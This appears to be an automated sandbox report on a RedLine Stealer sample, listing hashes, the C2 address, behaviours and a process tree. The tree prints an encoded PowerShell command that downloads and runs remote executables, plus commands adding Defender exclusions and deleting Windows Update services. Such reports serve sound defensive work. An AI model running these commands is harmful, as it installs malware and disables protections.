redline | 34efda61716ff1db7297813317e194d4eaa74ae5209810ef6045aabab2af3179

Analysis

max time kernel
59s
max time network
69s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
28/01/2023, 18:43

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General

Target
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
Size 361KB
Sample230128-xc6gtsff59
SHA256 34efda61716ff1db7297813317e194d4eaa74ae5209810ef6045aabab2af3179
MD5 18852c1659b6641a1f4eeacf6ce6bb8d
SHA1 1d678410484e34165adb652f7e86a2b5cae5f58d
SHA512 86295df5931e4673fc6579c1d6425040dbf44c6fbd5c19a35228f1c9f8d4917944c8ff020998d4504853398e7640664bf10c275835b1bfa7a236a073ed518b74
SSDEEP 6144:lUNamFD8LPUsNuwibRhinAoCRH+SXm+iMvOfcLpp0AdgqMGjEAOe75wBNEj+nc:lUFD8LPaw2RhinATReSXmPMvBBdqZBNU
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

redline 1 evasion infostealer spyware

Malware Config

Extracted

Family

redline

Botnet

107.182.129.73:21733

Attributes

auth_value
3a5bb0917495b4312d052a0b8977d2bb

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

resource	yara_rule
behavioral2/memory/4488-168-0x0000000000620000-0x0000000000640000-memory.dmp	family_redline

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

description	pid	Process	procid_target
PID 3840 created 3064	3840	SmartDefRun.exe	40
PID 3840 created 3064	3840	SmartDefRun.exe	40
PID 3840 created 3064	3840	SmartDefRun.exe	40
PID 3840 created 3064	3840	SmartDefRun.exe	40

Blocklisted process makes network request 2 IoCs

flow	pid	Process
21	5020	powershell.exe
36	5020	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	SmartDefRun.exe

Executes dropped EXE 3 IoCs

pid	Process
1272	new2.exe
3368	SysApp.exe
3840	SmartDefRun.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4968 set thread context of 4204	4968	1d678410484e34165adb652f7e86a2b5cae5f58d.exe	82
PID 1272 set thread context of 4488	1272	new2.exe	98
PID 3840 set thread context of 3564	3840	SmartDefRun.exe	117

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe	SmartDefRun.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3868	sc.exe
4668	sc.exe
3268	sc.exe
3356	sc.exe
4064	sc.exe

Program crash 2 IoCs

pid	pid_target	Process	procid_target
1408	4968	WerFault.exe	80
3116	1272	WerFault.exe	94

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE

Suspicious behavior: EnumeratesProcesses 29 IoCs

pid	Process
5020	powershell.exe
5020	powershell.exe
3368	SysApp.exe
3368	SysApp.exe
3368	SysApp.exe
3368	SysApp.exe
3368	SysApp.exe
3368	SysApp.exe
3368	SysApp.exe
3368	SysApp.exe
3368	SysApp.exe
3368	SysApp.exe
4488	vbc.exe
3840	SmartDefRun.exe
3840	SmartDefRun.exe
1868	powershell.exe
1868	powershell.exe
3840	SmartDefRun.exe
3840	SmartDefRun.exe
3840	SmartDefRun.exe
3840	SmartDefRun.exe
3948	powershell.exe
3948	powershell.exe
3840	SmartDefRun.exe
3840	SmartDefRun.exe
2820	powershell.EXE
2084	powershell.EXE
2820	powershell.EXE
2084	powershell.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5020	powershell.exe
Token: SeDebugPrivilege	4488	vbc.exe
Token: SeDebugPrivilege	1868	powershell.exe
Token: SeDebugPrivilege	3948	powershell.exe
Token: SeIncreaseQuotaPrivilege	3948	powershell.exe
Token: SeSecurityPrivilege	3948	powershell.exe
Token: SeTakeOwnershipPrivilege	3948	powershell.exe
Token: SeLoadDriverPrivilege	3948	powershell.exe
Token: SeSystemProfilePrivilege	3948	powershell.exe
Token: SeSystemtimePrivilege	3948	powershell.exe
Token: SeProfSingleProcessPrivilege	3948	powershell.exe
Token: SeIncBasePriorityPrivilege	3948	powershell.exe
Token: SeCreatePagefilePrivilege	3948	powershell.exe
Token: SeBackupPrivilege	3948	powershell.exe
Token: SeRestorePrivilege	3948	powershell.exe
Token: SeShutdownPrivilege	3948	powershell.exe
Token: SeDebugPrivilege	3948	powershell.exe
Token: SeSystemEnvironmentPrivilege	3948	powershell.exe
Token: SeRemoteShutdownPrivilege	3948	powershell.exe
Token: SeUndockPrivilege	3948	powershell.exe
Token: SeManageVolumePrivilege	3948	powershell.exe
Token: 33	3948	powershell.exe
Token: 34	3948	powershell.exe
Token: 35	3948	powershell.exe
Token: 36	3948	powershell.exe
Token: SeIncreaseQuotaPrivilege	3948	powershell.exe
Token: SeSecurityPrivilege	3948	powershell.exe
Token: SeTakeOwnershipPrivilege	3948	powershell.exe
Token: SeLoadDriverPrivilege	3948	powershell.exe
Token: SeSystemProfilePrivilege	3948	powershell.exe
Token: SeSystemtimePrivilege	3948	powershell.exe
Token: SeProfSingleProcessPrivilege	3948	powershell.exe
Token: SeIncBasePriorityPrivilege	3948	powershell.exe
Token: SeCreatePagefilePrivilege	3948	powershell.exe
Token: SeBackupPrivilege	3948	powershell.exe
Token: SeRestorePrivilege	3948	powershell.exe
Token: SeShutdownPrivilege	3948	powershell.exe
Token: SeDebugPrivilege	3948	powershell.exe
Token: SeSystemEnvironmentPrivilege	3948	powershell.exe
Token: SeRemoteShutdownPrivilege	3948	powershell.exe
Token: SeUndockPrivilege	3948	powershell.exe
Token: SeManageVolumePrivilege	3948	powershell.exe
Token: 33	3948	powershell.exe
Token: 34	3948	powershell.exe
Token: 35	3948	powershell.exe
Token: 36	3948	powershell.exe
Token: SeIncreaseQuotaPrivilege	3948	powershell.exe
Token: SeSecurityPrivilege	3948	powershell.exe
Token: SeTakeOwnershipPrivilege	3948	powershell.exe
Token: SeLoadDriverPrivilege	3948	powershell.exe
Token: SeSystemProfilePrivilege	3948	powershell.exe
Token: SeSystemtimePrivilege	3948	powershell.exe
Token: SeProfSingleProcessPrivilege	3948	powershell.exe
Token: SeIncBasePriorityPrivilege	3948	powershell.exe
Token: SeCreatePagefilePrivilege	3948	powershell.exe
Token: SeBackupPrivilege	3948	powershell.exe
Token: SeRestorePrivilege	3948	powershell.exe
Token: SeShutdownPrivilege	3948	powershell.exe
Token: SeDebugPrivilege	3948	powershell.exe
Token: SeSystemEnvironmentPrivilege	3948	powershell.exe
Token: SeRemoteShutdownPrivilege	3948	powershell.exe
Token: SeUndockPrivilege	3948	powershell.exe
Token: SeManageVolumePrivilege	3948	powershell.exe
Token: 33	3948	powershell.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 4968 wrote to memory of 4204	4968	1d678410484e34165adb652f7e86a2b5cae5f58d.exe	82
PID 4968 wrote to memory of 4204	4968	1d678410484e34165adb652f7e86a2b5cae5f58d.exe	82
PID 4968 wrote to memory of 4204	4968	1d678410484e34165adb652f7e86a2b5cae5f58d.exe	82
PID 4968 wrote to memory of 4204	4968	1d678410484e34165adb652f7e86a2b5cae5f58d.exe	82
PID 4968 wrote to memory of 4204	4968	1d678410484e34165adb652f7e86a2b5cae5f58d.exe	82
PID 4204 wrote to memory of 5020	4204	vbc.exe	85
PID 4204 wrote to memory of 5020	4204	vbc.exe	85
PID 4204 wrote to memory of 5020	4204	vbc.exe	85
PID 5020 wrote to memory of 1272	5020	powershell.exe	94
PID 5020 wrote to memory of 1272	5020	powershell.exe	94
PID 5020 wrote to memory of 1272	5020	powershell.exe	94
PID 5020 wrote to memory of 3368	5020	powershell.exe	96
PID 5020 wrote to memory of 3368	5020	powershell.exe	96
PID 5020 wrote to memory of 3368	5020	powershell.exe	96
PID 5020 wrote to memory of 3840	5020	powershell.exe	97
PID 5020 wrote to memory of 3840	5020	powershell.exe	97
PID 1272 wrote to memory of 4488	1272	new2.exe	98
PID 1272 wrote to memory of 4488	1272	new2.exe	98
PID 1272 wrote to memory of 4488	1272	new2.exe	98
PID 1272 wrote to memory of 4488	1272	new2.exe	98
PID 1272 wrote to memory of 4488	1272	new2.exe	98
PID 4512 wrote to memory of 3268	4512	cmd.exe	107
PID 4512 wrote to memory of 3268	4512	cmd.exe	107
PID 4512 wrote to memory of 3356	4512	cmd.exe	108
PID 4512 wrote to memory of 3356	4512	cmd.exe	108
PID 4512 wrote to memory of 4064	4512	cmd.exe	109
PID 4512 wrote to memory of 4064	4512	cmd.exe	109
PID 4512 wrote to memory of 3868	4512	cmd.exe	110
PID 4512 wrote to memory of 3868	4512	cmd.exe	110
PID 4512 wrote to memory of 4668	4512	cmd.exe	111
PID 4512 wrote to memory of 4668	4512	cmd.exe	111
PID 4512 wrote to memory of 4532	4512	cmd.exe	112
PID 4512 wrote to memory of 4532	4512	cmd.exe	112
PID 4512 wrote to memory of 4676	4512	cmd.exe	113
PID 4512 wrote to memory of 4676	4512	cmd.exe	113
PID 4512 wrote to memory of 2288	4512	cmd.exe	114
PID 4512 wrote to memory of 2288	4512	cmd.exe	114
PID 4512 wrote to memory of 2404	4512	cmd.exe	115
PID 4512 wrote to memory of 2404	4512	cmd.exe	115
PID 4512 wrote to memory of 32	4512	cmd.exe	116
PID 4512 wrote to memory of 32	4512	cmd.exe	116
PID 3840 wrote to memory of 3564	3840	SmartDefRun.exe	117

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3064
- C:\Users\Admin\AppData\Local\Temp\1d678410484e34165adb652f7e86a2b5cae5f58d.exe
  "C:\Users\Admin\AppData\Local\Temp\1d678410484e34165adb652f7e86a2b5cae5f58d.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4968
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4204
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5020
    - - C:\Users\Admin\AppData\Local\Temp\new2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\new2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:1272
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4488
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1272 -s 276
        6⤵
        Program crash
        
        PID:3116
    - - C:\Users\Admin\AppData\Local\Temp\SysApp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:3368
    - - C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Drops file in Drivers directory
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3840
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4968 -s 240
    3⤵
    - Program crash
    PID:1408
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1868
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4512
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3268
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:3356
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4064
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3868
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:4668
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4532
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:4676
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:2288
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:2404
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:32
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
